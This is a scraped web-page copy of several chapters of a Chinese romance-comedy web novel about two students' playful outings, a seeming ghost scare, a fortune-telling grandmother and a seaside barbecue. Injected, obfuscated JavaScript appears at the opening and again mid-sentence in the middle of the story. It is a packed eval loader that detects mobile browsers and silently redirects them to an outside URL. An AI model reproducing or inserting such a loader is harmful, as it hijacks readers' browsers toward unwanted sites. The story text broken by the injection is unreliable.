0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋商鉴真觉得她骂人嘴上了发条,保送后各方面都要闲出屁来。 倪旖嫌得蛋疼,正在客厅玩Switch。 游戏机和卡都是刚买的,倪旖还有点不熟,仔细攥着那一页说明书的纸,喃喃自语道:“电子产品的性功能?咦~” “……”蒋商鉴攥着包翻找中药调理液体,怀里搂着黑猫酱崽,听她连珠炮似的口出狂言,虽是一愣,也快适应。 那酱崽跟小鼻嘎似的。 蒋商鉴侧眸看两秒便收回视线,眼神未起波澜,恢复到了微垂眼眸的冷淡模样,简单试探:“……是性能吧?” “哦~”倪旖好灵魂的语气,轻描淡写配上满身懒散贵气,无端有了保持距离的沉沉冷冷之感。 蒋商鉴将中药一次性塑料袋撕开,准备将这袋喝完,明天还得去煎药。 “你人身体啥毛病啊?”倪旖摩挲眉梢,问得很认真。 “身体没啥毛病。”蒋商鉴瑟瑟发抖,绝对等会儿倪旖又放大招。 “那干啥喝?”倪旖鼓捣游戏机,随口说,“……着急生孩子啊?十八岁急什么?” “……”蒋商鉴正低头吸溜着中药调理汁液,听见这句话惊吓得被呛到,苦意蹿到喉咙里,又疼又涩,咳得眼睛里蓄出了湿意。 她这嘴真是抹了蜜,还带讽刺的。 瞅着黑猫黏着蒋商鉴,倪旖很是不爽,吃醋到阴阳怪气:“每次给它洗完澡我都感觉我强了一个两百斤胖子,一堆抓痕,精疲力尽。” “……”蒋商鉴差点没被气撅。 这口出狂言得好生厉害。 “小主子只要被洗澡就整个猫不是猫了,……会飞。”倪旖不太高兴挠了挠黑猫脑袋,真想揍白眼猫。 “那么调皮?”蒋商鉴挠猫下巴。 酱崽悠闲喵呜一声。 倪旖在家经历过红白机凌辱,所以玩奥德赛上手很快。 没半小时已经摘了不少月亮。 蒋商鉴凑过去看,随意靠沙发上撑着懒腰:“马里奥啊,过气了吧?” “……”倪旖盯紧屏幕,隐约愤恨道,“马里奥是我最好的朋友。” “那你最好的朋友年纪还挺大的?百八十岁。”蒋商鉴不知何时就被传染毒舌,给他吓一跳。 倪旖过完一关,把Switch操作手柄递给蒋商鉴玩,让他嘴欠,看能玩出什么花来。 蒋商鉴大概是真的没能和马里奥建立最好的朋友那般友谊,连走路都走不成直线,遇到攻击性,体力就不停掉格。 倪旖在旁边放肆嘲笑:“还准备带你玩双人模式,泡了汤哦。” 蒋商鉴还是要点脸,为稳固男性尊严,挣扎五分钟终于如愿以偿丢掉七八条命,输得连裤衩子都不剩。 “……裤衩子还在吗?”倪旖笑着拿回手柄,“看姐玩给你看。” 倪旖那操作不是吹的,很流畅。 穿山越岭踏沙漠跳金字塔,吃掉一串又一串金币。 “这叫月亮,”倪旖嘴就歇不了,那话说得特招揍,“呦吼……没见过吧?” “……”蒋商鉴被打击得感觉遭受人格侮辱,叹口气,“我人格受到暴击。” 倪旖一愣,没指挥马里奥往前走,把手柄递给蒋商鉴:“月亮你来摘。” 蒋商鉴心头微微发热,还挺暖。 还没庆幸呢,就遭受打击。 “人格损毁赔偿费。”倪旖投掷一枚五毛硬币,啪嗒落茶几面,晃两下才息,抬眸略带浅浅倦意和无所谓,淡淡道:“……找我四毛。” “……” 蒋商鉴彻底被整得没话说。 6. 水晶 她钻到那边帐篷,还顺便到自动贩卖机那里买一罐饮料。 贩卖机前排起了长队。 虽然已经八月,背影处站在那里排队时倪旖还是觉得鸡皮疙瘩起来了。 倪旖不停环顾四周,寻找蒋商鉴。 倪旖觉得瞥见他的身影,就在隐藏在一袭淡蓝色软缎织花裙面之下的鬈发女人和两个争来打去的孩子后面。 可等那些人让开后,他又不见了。 算了,倪旖想。 等回到座位上时总会见到他的。 攥着硬币,倪旖投入自动贩卖机,得到一罐旺仔牛奶。 她便触碰冰凉外壳,迷迷糊糊就去找这个帐篷里的蒋商鉴。 倪旖拿到饮料时,乐队又开始演奏了,便沿着那一侧被橘色小串灯照亮、表面凹凸不平的破旧老蓝色地毯匆匆回到座位上。 这个帐篷有点诡异。 她说不出来。 倪旖戳戳蒋商鉴暴露的胳膊肘,抬眸疑惑道:“好看吗?” “好看啊。”蒋商鉴如同面具僵硬拉扯嘴角。 倪旖一听见这回答,拔腿就怕,顺着小缝原来帐篷,里面也有个蒋商鉴。 她彻底迷糊了。 “师哥,师哥,师哥……”倪旖边跑边喊,不顾他人厌恶不悦目光,攥着蒋商鉴手腕就跑,脑袋绷着一根弦在出去那瞬间彻底崩断。 她迫切希望找到原来的师哥。 倪旖感觉到一阵强烈晕眩感从心底升起,逼得她不得不停下来,深吸几口气,任由深深恐惧感烧灼她的肺。 环绕在周围空虚带来如此深切的恐惧,倪旖颤颤巍巍地朝电线杆子走去,弯腰,捡起那块缺了角的板砖,两只手抖得像风中的烂竹子。 好不容易攥稳了,倪旖扭头看向蒋商鉴,哆嗦着嘴唇,颤道:“师哥。” 倪旖泫然欲泣,忽地抛了砖,钻进他怀抱,浑身冷颤不止。 “怎么了?” 蒋商鉴一愣,随后俯下身细声安慰着,能感受她声音里听出愈来愈歇斯底里的声调。 “有两个马戏团,一模一样的你跟我说话,好恐怖。”倪旖凝视着他,仿佛透过一面镜子,凝视着急需要重建自我的自己。 “一模一样?”蒋商鉴陡然恐惧,吓得他攥着倪旖手腕就骑自行车载她回家去。 还是黄昏,微微撒着余晖倦意。 一片寂静,只除了这些声响,以及机械腕表的嘀嗒声,林荫大道周边别墅以桃色与乳白色的灰泥粉饰建筑,消融在微凉薄雾中。 倪旖环抱着他小腹,耳朵贴着他脊骨,感受他骨传导下心跳声音,泪痕如同蜗牛爬行的足迹,昭然若揭是恐惧。 倪旖瞅见手掌脏兮兮的,偷偷朝他衣裳摸摸,抹干净后才微微叹息。 “倪旖,你有可能这几天疲倦,产生幻觉。”蒋商鉴尽量不往玄学去,言语间颤抖是微微恐惧。 她想,蒋商鉴碰到鬼一定比她更害怕。 马路上的香樟枝桠长得极为茂盛,微醺余晖透过树叶缝隙洒落下来。 “师哥,我跟鬼说话,他晚上得找我,你别骑,前面路口万达停下,导航打车去天瑞华府附近,我找外婆驱邪。” 倪旖着急得不行,冷静占上风,想着破除迷局脱困。 “其实我懂一点玄学。”蒋商鉴安慰她胡诌道。 “嗯?”倪旖一愣,惊了,“你还有这技能?” 蒋商鉴笑道:“生活所迫。” “不是,哥们,生活到底对你做了什么。”倪旖不信邪。 “没钱,搞玄学。”蒋商鉴淡淡圆着谎言。 “那算到什么?”倪旖哄着。 “我算命,你可以活到一百岁。”蒋商鉴草率道。 “你这招牌迟早被人卸掉,胡说八道。”倪旖眼里焦虑依稀可见。 “太久?”蒋商鉴逗她。 “不对,我可以活到一千岁。”倪旖哄他。 “那我现在算命,”蒋商鉴停顿几秒,“一万岁,你的寿命。” “一万岁太久,我只争朝夕。”倪旖继续哄他。 “你是蜉蝣?”蒋商鉴笑道。 在前路口停下后,往前走两步,蹲地摊前,倪旖很诚恳道:“水晶手链我全要了。” 倪旖将水晶手链全串左小臂,快速支付一百块钱,抬眸问:“你觉得哪个色的水晶辟邪?” 蒋商鉴探头看网约车牌号,乍被吸引注意力,一愣,唇角带一点弧度,走去拨弄那小臂满满当当的水晶项链,跟彩虹似的。 “我分你两串。” 倪旖不顾他嘲笑硬给他粉色水晶廉价手链戴着,总算带点安全感,“车呢?” “我瞅一眼。”蒋商鉴四周环顾,找到对面马路牙子香樟树下那白色汉兰达SUV,偏头示意方向。 淮海西路上慷慨得被余晖铺张黄金的辉煌,沿着红砖道慢走,扶着长排铁栏杆校墙,左手边是高阔耀亮的购物广场,小卖部前摆满纯黑漆面度假椅。 “师哥,我想去买杯咖啡。”倪旖口渴。打完招呼就去街角咖啡馆买喝的。 自打回妈妈叫吃饭那条语音之后,就再没看过微信,小红点点扒拉着,显示有5则未读,倪旖从第一条语音听。 “宝宝,晚上回家吃饭吗?” 点击按钮,倪旖凑进说话。 “我在外面跟师哥吃饭,我请客,妈妈可以支援一下嘛?” “找你有钱的父亲。” 倪旖就听妈妈说,很冷漠。 “……”倪旖刚准备解释,这不是钱,这是妈妈的爱,就听着动静。 “倪旖。”蒋商鉴带点喘息。 倪旖笑笑将冰咖啡递过去,软软地赔礼道歉:“对不起,让你着急,刚跟妈妈说话呢。” 蒋商鉴一愣,也不好说些责备话。 倪旖举着莲蓬道:“师哥,吃莲蓬吗?” “苦吗?”蒋商鉴说的时候微微侧过头,仿佛在凝望餐厅外很远的地方。 他晓得这莲蓬估计又是不知道从哪家缸里面拔出来的一根。 “倪旖,这……” “莲蓬是酒吧的,酒吧是我朋友的,我朋友同意我摘。” “酒吧?” “我经常在卡座里消费冲业绩。” “哈?” “kasa,你下次来就报我名字,会员制,我有钱。” “……”蒋商鉴曾经在那酒吧逮过家教学生,印象深是因为酒吧老板就那学生,无奈抬头。 倪旖顺着他的目光看过去,只看见灰蓝色天空尽头的长云,笑嘻嘻将莲子抠出来,拔掉外皮才给师哥:“不苦,给你剥一个。” “苦……”蒋商鉴蹙眉。 “再来一个,这个不苦。”倪旖又塞给他一颗剥好的莲子。 “哦,这个还行。”蒋商鉴细细咀嚼。 “这不得夸赞一下?”倪旖开玩笑缓解气氛,举起拇指暗示着,他必须得给任劳任怨剥莲子的某倪点了个赞。 蒋商鉴非装瞎,淡淡道:“那再给你剥一个,这个肯定也不苦。” “呕……”明明苦死了好吗!倪旖还没来得及躲避,就被塞一把莲子,把嚼了两下的莲子吐出来,扔到他身上,用长长的莲蓬狂打他。 蒋商鉴用纸巾包着丢垃圾桶。 倪旖怕他还赌气,便将两元店买的小物件搁脸上,胳膊缩背后,睁大眼,手指扒拉着下眼睑冲他做了个鬼脸。 “你在干什么?”蒋商鉴乐得扬了扬眉毛,真是古灵精怪小姑娘。 “扮演鬼,不像吗?”倪旖笑得娇憨,眼神炯炯有神,抿唇时软糯。 “什么鬼。”蒋商鉴脱口而出。 “饿死鬼。”倪旖张大獠牙回答,将上眼孙悟空塑料面具给他扮上,笑嘻嘻打趣,“你是……死鬼。” 蒋商鉴跟她玩得确实高兴,不像课题组那群卷王虚假,偷偷摸摸背着别人熬夜搞论文,一点都不光明正大。 “你饿了?”蒋商鉴也搞不清倪旖是什么品种的拉布拉多,啥都吃,还总饿,那中午聚会一个劲猛吃。 倪旖揍人后就觉得精疲力竭,倦怠到似乎一闭眼就能睡着,可脑却不受控划想到实验数据,一点点地将她的精神撕裂。 倪旖眼神落寞,淡淡道:“还行,有点累,等会儿再走。” “情绪不佳?”蒋商鉴实在不会安慰,蹩脚说着话。 “……”倪旖懒得解释。 街灯透半透明光晕,亮灯临街店铺似乎漫入闪烁光彩之中,靠夜里那股湿气黏附在倪旖额上。 太阳微醺,影子将他的身影拉长,倪旖眼睛泛酸。 蒋商鉴陪着她,在经过灌丛时,蹿出来的枝叶挡一下他额,他侧脸躲了一下,下台阶后俩人背影消失在拐角处。 拐角马路边,倪旖上了网约车。 蒋商鉴将自行车折叠放到后备箱。 倪旖沉默着,直到去了外婆家,将拖鞋换好就急迫将经历之事告知,再次举起手臂水晶手链,傻傻询问:“哪个色儿的辟邪?” “我去给你问问。”外婆就自然而然下床去小房间里。 倪旖攥着他衣角,抬眸道:“我外婆偷师十里八乡有名神婆,老早就算我爸会上燕兆,你要有心事,也算算。” 蒋商鉴察觉衣袖往下坠,对上她视线,微微诧异道:“这么神?” 倪旖点点头,傻傻问:“你觉得哪种色的水晶手链辟邪?” “粉红色。”蒋商鉴脱口而出。 “为什么?”倪旖瞥一眼一臂水晶手链,绿色最多,“我觉得是绿色。” “我理由跟你一样,因为我只有粉红色水晶手链。”蒋商鉴扶着额,冷白的节能灯落在他脸上,细长睫毛微颤,神情淡淡,带着股破碎感。 “那啥,你改口。”倪旖到底有一点点小迷信,抬眸笑意正浓。 “嗯?”蒋商鉴有点不解,可还是耐着性子,毕竟三岁一个代沟,他俩间一个沟没算上,多少带一个坑,多少得注意。 “我没粉色,真要辟邪,我就是活靶子,给鬼追着跑。”倪旖直勾勾盯着那浅粉色水晶手链,下意识握住他手腕粉色水晶手链,想要回来。 蒋商鉴习惯性闪躲,这茬就错了,反倒叫她抓住手腕。 蒋商鉴肌肤温热,手腕处凸起来的那块骨节硌在她掌心,倪旖赶紧躲开,随意道:“师哥,好歹让让师妹嘛。” 蒋商鉴笑道:“鬼都追上来,我管呢,□□我都不给,活命要紧。” 倪旖一手扶着门把手,身子直立站在那,眼角懒散耷拉着,眼眸微垂,漆黑的眼睛与他撞上,随意笑了笑。 “那我们交换?”倪旖缓解气氛。 “不换。”蒋商鉴一顿,略带倦意笑笑,“全给我的小师妹。” 听言,蒋商鉴漫不经心地掀眸,将两串辟邪粉色水晶手链递给她,偏浅瞳孔越过嘈杂大银幕短视频声响,定在倪旖身上。 “那给你黄色的?”倪旖遂了心意偷偷高兴,还得憋笑,忍着乐,僵硬忽悠,“红加绿是黄色,双重保险。” “算了,你留着。”蒋商鉴拒绝。 倪旖目光炯炯盯着屏幕看短视频,那性感网红跑去搞煎饼,不少男粉丝去线下要签名,顺带瞅一眼那胸。 倪旖嫌弃皱了眉,下一刻,看向蒋商鉴,漫不经心道:“师哥,你喜欢这一款?” 蒋商鉴一愣,乐得不可开支,眼底都是笑意,故意作弄她,缓缓道:“……嗯。” 蒋商鉴察觉到便俯身拿遥控器将视频暂停,转移视线,毕竟倪旖看这些软色情的,想想就别扭,这不摧毁祖国花朵嘛。 “继续看啊,不是喜欢嘛。”倪旖阴阳怪气道,看谁不爽就直接怼。 在她浅薄认知中,喜欢性感主播的死宅都有点猥琐,外表人模狗样的,心理多少有点变态。 “……”蒋商鉴头一次如此绝望。 倪旖低着头摁键盘貌似发条信息,然后把手机塞回口袋,掏出一根棒棒糖咬开包装袋后将糖果扔到嘴里,慢悠悠歪倒在沙发边。 倪旖一瞥那视频,淡淡道:“酱别抹太匀。” “嗯?”蒋商鉴卷毛有些凌乱,懒散耷拉在额上。 “太匀了,吃起来一直一个味儿,不好吃,就随便抹几下,有咸有淡才好吃。”倪旖抬头示意那大屏幕。 蒋商鉴一愣,还没反应过来,一只手臂懒懒地撑着墙壁,臂上青色筋络分明,骨感修长的手指随意点着微凉的桌面。 倪旖缓一会儿,小脸被晒得通红都没消褪,额前刘海被汗水浸湿,不舒服便轻微撩开,露出一截雪白小腰。 蒋商鉴纤细手指触碰手机屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222308|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕,打发时间便玩消消乐,屏幕上时不时跳出多巴胺彩色“excellent”的英文单词。 蒋商鉴的额角有些水渍,鬓角处流下的水珠顺着脖子一路下滑,脸上也有湿水的痕迹,跑一路还热,吹好一会儿空调都不止。 倪旖扯扯衣裳起身,用牙齿拔出一大瓶冰过的葡萄汁的软木塞。 壁橱阁平台一个细细长长的笛形酒杯就立在她手肘旁,里面的葡萄汁咝咝冒着泡,倪旖嫌太凉,就随随便便地插在盥洗壶里,着找俩碗倒点果汁喝。 高级包装玻璃瓶葡萄汁搭配参加老家远房亲戚殡葬得的福禄寿小碗,莫名和谐。 “师哥,你过来一下。”倪旖端着碗给他递去。 说完这话,倪旖注意到蒋商鉴正在发信息的手指顿了下,随后缓缓侧过头看她一眼,点点头走过来。 蒋商鉴接过碗略微一愣。 “嗯?”倪旖注意他呆滞,便闲闲随意解释,“这碗挺好看的,喜庆。” “喜庆,是指丧葬专用?”蒋商鉴漫不经心道,隐约笑意藏在唇角。 她就是人间最可爱的。他觉得。 “……”倪旖掩口无言。 窗外粉色晚霞似是云醉了酒后那颊多了几抹腮红。 倪旖用余光瞥了一眼旁边的蒋商鉴,随后自己端碗大口喝。 蒋商鉴闲着没事瞥一眼短视频,瞅见那鸡蛋煎饼,抹得贼匀的暗红酱料,一愣,随后扭头笑得想死。 他的闷闷小笑声混杂在风中传入她的耳朵,却惹得她一惊。 倪旖扫视他一眼,心想,好神经。 夏天傍晚,突如其来暴雨,空气黏腻湿热,仿佛将整座城淹没。 又退去,而湿气却丝毫不散。 等骤然暴雨停止,外婆也从小房间出来,神情肃穆地扯着两张符纸,去窗台边拿打火机,点燃艳黄色符纸放进碗里,几秒钟只剩深灰色灰烬。 “热水冲服。”外婆拎水瓶倒点开水。 倪旖食指尖碰触到碗壁,被烫得一激灵,连忙捏耳垂细细揉捏。 缓解烫出来的痛后,倪旖见他铁砂掌一般碰触那碗没感觉。 “你不烫?”她好奇。 “有点。”蒋商鉴眉眼弯弯,仿佛酝酿大计谋似的。 “那那那……快点捏耳朵啊,这样就不烫。”她有点着急,连忙示范。 “是这样么?”蒋商鉴笑得幅度大了些,随后将指尖覆上她温软的耳垂,轻轻揉捏。 “额……”倪旖脸颊瞬间飙红。 蒋商鉴歪脑袋,什么也不说,就戏弄般望着她,用他看狗都深情的眼神。 “快喝水吧,快,快凉了。”倪旖晃晃脑袋,撇开他指尖。 她第一次觉得怎么有人手指揉捏动作莫名很涩。 小玩笑很快就结束。 俩人半信半疑,将呛喉灰水喝掉。 “外婆,谁?”倪旖好奇道。 “别怕。”外婆故作玄虚,皱皱眉头,“我摇人了。” 蒋商鉴以为她会摇来一众仙气飘飘修为颇高的道友或是同门,还颇为紧张地期待着接下来斗法。 倪旖就攥着他示意闭嘴。 蒋商鉴点头,怕窥见脏事,被鬼缠上,缓解气氛道:“卫生间在哪?” 倪旖指了个方向。 蒋商鉴解完手,就瞅着倪旖揭秘。 谁知倪旖拿起手机,颇为狗腿地点头哈腰:“嗯嗯,警察叔叔,淮海西路离万达广场估摸八百米,对,涉嫌故意囚禁濒危动物,非洲狮,还搞封建迷信活动,镜像迷魂药香氛忽悠大傻子。” “……”蒋商鉴就是那大傻子,被倪旖骗得真以为有鬼。 “外婆,那我就回去啦。”倪旖解决事儿就想快速回家休息,神情倦怠,栖息在这座城的慵懒里,好似恋人那疲倦的臂膀搭在你肩上摇摇晃晃。 “等会儿,那臭东西拎走。”外婆拿着蒲扇使劲扇风,别着栀子花装饰散发着浓郁花香。 倪旖顺着视线,就看到阳台有个榴莲,扶着额便蹿去拎着, “我来。”蒋商鉴直接接过。 倪旖转过身问外婆:“你算算我跟师哥有没有缘分?” 外婆闭眼屈指一算,装作惊讶,略微紧张道:“你们两人前世有十分深厚感情。” 倪旖微蹙眉:“情侣啊?那种三生三世都要成双成对的孽缘啊?” 外婆嫌弃道:“不是,你上辈子是他养的狗。” “……”蒋商鉴憋笑得要死。 倪旖就知道外婆逗她玩,随口就跟老太婆撒娇抱怨:“哼——,他是我的狗还差不多。” “……”蒋商鉴性格还挺稳定。 “你就说深不深厚嘛?”外婆拎着洒水壶给浓郁栀子花浇水,抬眸对上蒋商鉴视线,惭愧解释,“倪旖这小混蛋疯疯癫癫,见笑见笑。” 蒋商鉴尬笑。 倪旖攥着他手腕,微微凉,有点惊讶,男生身体不都滚烫得跟炉似的,这估计真肾虚。 微风追随暴雨残留的黏重水汽,沿着楼梯往上吹进小玄关。 察觉她神情意味不明,蒋商鉴果断猜明并解释:“熬夜变虚,手易凉。” “都病入膏肓,赶紧调理,不然影响你要二胎。”倪旖嫌弃地撒手。 “二胎?”蒋商鉴跟丢她脑回路。 “老大胎死腹中。”倪旖淡淡道,随后叮嘱,“你得尽量保重好老二,哈~” “……” 夏天听鸟唱歌,闻植物气味,倪旖顺着楼道从二楼下去,空旷转角只剩下斜面摩擦水泥板声音,外婆家这里是屿画坊。 “你爱夏天吗?”倪旖放眼远处,在海边灼热沙滩散发盐水味。 蒋商鉴随手合上铁门。 门似乎年旧未修,暗红漆大都掉得差不多,还有些粗糙裂缝,一推开便发出咿呀声响。 倪旖仿佛可以嗅到蒋商鉴手臂、肩和背脊上的咸味。 这些对她来说还很新鲜。 “还行。”蒋商鉴懒懒拖着调子的嗓音,带着天不怕地不怕的劲儿。 “我很喜欢夏天,不是多美,而是夏天海鲜是真的很好吃,来,前面有个海边烧烤摊,我请你哈啤酒吃嘎啦。” 倪旖莫名其妙就带一点海洋气息。 哈啤酒吃嘎啦就是喝啤酒吃蛤蜊。 7. 潮鲅 “嗯。”蒋商鉴轻声笑一下,“普吉岛玩一趟应该很爽利的。” “前面有不舍昼夜咖啡馆,外地人挺喜欢打卡的。”倪旖点点头,顺着鹅卵石小道往前一指。 攀援状绿植覆满欧洲风情的拐角楼咖啡屋,连暗棕色墙壁都带海洋风情,小臂窗前面摆了一堆盆栽绿植,暗红壁橱框,黯淡深蓝挡风板,碰撞得如此美妙,行人慵懒惬意地四处溜达。 “市南区龙江路,听说过。”蒋商鉴目光偏移。 “网红墙那家有个英短,早期汤姆猫一个品种。”倪旖指着那蓝猫解释。 “回收彩电、冰箱、空调……” 远处摩托车电喇叭传来僵硬声。 “唉,虔岛一号线周末白天可以看见大鲨鱼。”倪旖古灵精怪道。 空气刹那间骤停了几秒,是止不住地安静。 蒋商鉴看到倪旖小猫嗷呜似的行为,不禁微微挑眉,嘴角微扬,直接说:“广饶路有鲨鱼?啥鲨鱼?最多看看15号大街菜市场,你个大潮鲅,当我愣子。” 大潮鲅当地大聪明意思,骂人傻。 倪旖微微抬头,清浅眸子还带懵。 蒋商鉴微阖双眸,双手插兜,好不懒散,余晖洒在他身上,仿佛给他镀了一层金边,显得温柔肆意。 倪旖卷翘睫在余晖渲染下也变成了金色,在眼下投下一片阴影,抿嘴感觉被冒犯,气急败坏道:“八号线还有海绵宝宝呢。” 蒋商鉴给她一个看智障眼神:“没注意看。” “你,你,哼!”倪旖脸颊微红。 蒋商鉴几缕碎发耷拉在眼侧,更显其温柔下难以掩饰的放荡不羁。 往海边烧烤摊路上,走在前头的蒋商鉴突然停住脚步,还在恼火的倪旖没察觉便撞上了他肌肉紧实的背。 “哎呦喂,恁没带眼睛,疼死俺了喂,你带死嘛。”倪旖摸着自己撞得发酸的鼻子带着点控诉的意味。 “大潮鲅,你唉。”蒋商鉴笑得没气,果然岽安话影响颜值。 倪旖气得呦,闷头往前跑。 蒋商鉴追上去,可女孩子生气时手极其难捉住,便哄道:“我们比比看谁的手大。” 倪旖爱玩,便停顿脚步,张开手跟他比比,不出意料,小了一圈。 只有年纪小才会发生要比谁的手大然后牵手过马路的事情。 她年纪小。 所以—— 耍赖了。 倪旖抓住他手,十指相扣,牵着过马路,美其名曰:“不要乱动哦,斑马线很危险的。” 蒋商鉴只得收敛甩手欲望,小声嘟囔:“跟遛狗似的。” 遛狗?这不暗讽倪旖她上辈子是他狗的事! 倪旖火气又来了,猛地甩开他手,一股脑向前冲。 “哥,恁这衣裳条白哦,老一套,但别整齁咸,有排场的帅小伙来。” 排场就是漂亮。 倪旖坐大红塑料椅上,看着桌面大杯柠檬水,以及蒋商鉴不知道哪里买的糖炒栗子,大潮鲅似的。 “我一拳祝煞你。”倪旖难以解释他的示好,一拳抡过去砸他胳膊,关键方言不适合撒娇,适合干架。 蒋商鉴笑得合不拢嘴。 倪旖白眼又去水果摊溜达,瞅见脆枣和不熟香蕉,连睫都笑颤,先吃香蕉嚼出味然后吃枣,嘴里一股放屁虫味。 “师哥,你过来。”倪旖老远就打招呼,树枝撕裂天空,没劲却只戳几个微小窟窿,余晖对岸那蔚蓝天有星。 “爷,几点收摊?”倪旖跟水果摊60多岁大爷聊天,得先垫一句,聊熟了就图穷匕首见。 “九点十点,没人俺就早走。”大爷擦擦额头往下滚动的汗液。 “有孙子吧?他真有福,爷平时给点零花钱买糖吃。”倪旖假装挑选,这会儿碰碰芒果,那会儿碰碰西瓜。 “哎呦,恁在家里成天抱个手机,跟个祖宗似的,家里也不拾掇拾掇,当门也不知道扫扫。”大爷侧面被夸奖勤劳和疼爱孙子。 “俺妈总让我起床,我也懒。”倪旖都快撑不住,直接亮匕首,“爷,能试个枣和香蕉吃吗?” “恁来。”大爷乐呵呵哒。 倪旖掰着一根香蕉一颗青枣,道谢之后去找蒋商鉴,让他尝尝吃屁。 恁不叫俺好看,恁也别好看。 “师哥,来,尝尝。”倪旖逼他按顺序吃水果,等他咀嚼差不多,脸色微变时,笑嘻嘻侧面嘲笑,“怎么着?” 蒋商鉴果真跟吃屁似的脸色难看。 倪旖拔腿就跑,准备明天再捉弄他玩,老母鸡竹荪汤,初次喝就是煮开的刷锅水泡的笊篱味道,他肯定难接受。 倪旖张嘴一直拍桌,笑得直抽抽。 “大潮鲅。”蒋商鉴胳膊肘撑着桌面,神情十分无奈地撑着额。 “木签一般都有大坑,铁签都自己穿的。”倪旖探头看老板额头汩汩冒汗呢,穿戴皮手套捏两把铁签在那翻烤。 “嗯。”蒋商鉴也瞅了瞅情况。 倪旖也不着急吃馄饨,摸手机翻出保存在她手机相册里许久图片,递给他看,并指了指自己肩头:“你觉得这图案咋样?纹脚腕好不好?” 没想到对方“呵”,轻笑一声。 “干嘛?”倪旖又被冒犯。 “纹什么身?”蒋商鉴微蹙眉头,难以置信都挑了挑眉梢。 倪旖将图片往右滑,图片一道墙,一墙作品,斯巴达花胸、满背雄狮、整臂祥龙之类的。 倪旖淡淡定定解释:“tattoo虽然小,但我想上墙。” “这上墙?你这烂泥都不算,连被扶上墙机会都没。”蒋商鉴虽然不懂这些,可还放肆嘲笑,“你这,我拿只水彩笔帮你画?” 倪旖局促,蝶翼般睫轻颤两下,微微撇开,脸颊憋得通红,狡辩道:“再小也是纹身,拿水彩笔干啥?” 蒋商鉴看着她的倔犟小表情,眸中闪过似有似无的戏笑。 几秒后,倪旖只得摁灭屏幕,攥入手心,颇有微词道:“笑个屁,戳瞎你眼睛,哼!” 蒋商鉴没说话。 倪旖闷头吃小馄饨,又闲不住嘴,抬眸嘟囔着问:“你猜榴莲几房的?” “不猜。”蒋商鉴拒绝被坑。 “哎呦,你猜一下会死?”倪旖不高兴,三白眼直接怼脸输出。 蒋商鉴懒得哄小孩,这小孩聪明得很,估摸着一直记仇,便随意道:“吃炮仗啦?这么呛。” 倪旖一愣,果断怼脸输出:“你才吃了。” “……”蒋商鉴其实特想怼回,学校方要求他就代表官方对她欢迎,后期还得通稿网上顺势宣传一番。 “老板,打包。”倪旖囫囵吞枣将剩下馄饨吃掉,一招手示意将烤串包,抽几张纸擦擦嘴,一点余光不留他。 “师哥错了,咱不气。”蒋商鉴迅速站直身体,捏着烤鸡翅的那只手臂避开,单手用食指尖勾住后裙蝴蝶结腰带。 “老板,别打包。”倪旖脾气大,也好哄,说点软话就行,转身坐下来。 蒋商鉴两胳膊肘撑着桌面,撩撩发丝,撇一下头微微笑着。 倪旖很冷静。 蒋商鉴默然,她真的是小怪物,与世界格格不入,眼皮有股冷静的狠劲。 “师哥,”倪旖掌心微微蜷缩,将小番茄展示,“吃吗?” 蒋商鉴撇头,轻轻抿嘴拒绝。 倪旖强行喂他一颗冻番茄,主动道:“师哥,我可以加你私人好友嘛。” 蒋商鉴深吸口气,解锁手机屏,将名片展示,也接受台阶:“学校要求不能私号联系,避免绯闻。” “师哥,我们是朋友。”倪旖明确表达观点,虽然前句话表露不满。 “嗯。”蒋商鉴略微敷衍道,看到她换个微信号,便将朋友圈刷新,还是没看见她记录那条视频,估计又拉黑朋友圈权限,或者还是小号。 之后俩人都不说话。 “啊!” 倪旖尖叫一声。 “……”蒋商鉴回头一看,就见她撕开一次性餐具包装拿着杯子瞎扑腾,一边扑腾一边喊“白眼的!抓住它!”。 倪旖高兴老半天道:“争取抓回去让它抖擞精神一下。” “好家伙,你这,哎,应该是摩尔根夺舍。”蒋商鉴瞅一眼,被盖住没露形态,小声嘀咕着,“估计苍蝇之类,白眼稀有类型,学过遗传是挺眼馋。” 蒋商鉴难以理解小盆友好奇心,倪旖随身带着黑塑料袋,笑嘻嘻的,随机带走幸运生物,跟阎王爷点卯似的。 倪旖激动道:“还有残翅的、截刚毛的、棒眼的……” “……”蒋商鉴微微蹙眉。 倪旖晃悠着塑料袋炫耀成品,可稀罕这白眼苍蝇:“千万别扔,裹上鸡蛋液,粘上面包糠,油炸至金黄捞出,隔壁楼小孩全馋哭。” 蒋商鉴就叹息,这难以理解的热情。 “师哥,我想吃雪糕。”倪旖将关着苍蝇的塑料杯戳个透气眼,漫不经心。 “这不还有汽水?”蒋商鉴将那没开盖的玻璃装汽水握住,头朝下一拍,用手一旋就掉瓶盖,色素味超浓的北冰洋橘子汽水瓶口冒白冷水汽,氤氲开来。 “我想吃雪糕嘛。”倪旖蹩脚撒娇。 “我去我去。”蒋商鉴真见不了要哭不哭的死表情,抬头就去对面马路咖啡店门口冰柜里找雪糕,也不知到她要什么,怕她哈喇子兜不住,就逮着碗装雪糕买。 等蒋商鉴走后,倪旖成功跟老板接上头,炫耀道:“这哥们帅不帅?” 老板忙着给鱿鱼翻面,但还是带着熟稔的嫌弃:“又不是你对象?人家帅关你什么事儿。” 倪旖一口生蚝没噎下去,气呼呼道:“下次来撸串儿,他就会是我对象。” “吃了几颗花生米?怎么醉得这么深?”老板那叫一个耿直坦率。 “我没吃花生米,你等着我大捷喜讯。”倪旖拍拍胸口,脸颊红红的,跟醉了没啥两样,还说比醉了还醉的狠话。 老板抓一把价值四千万的烧烤孜然料撒上去,敷衍着上菜。 倪旖继续嘀嘀咕咕的:“你别不信,我是什么人,大美女。” “得了吧你,赶紧吃,少说点醉话。”老板一个白眼给小屁孩,也不知道听她吹牛皮多少回,不说别的是否能实现,就那夸海口长到一米七就肯定食言了。 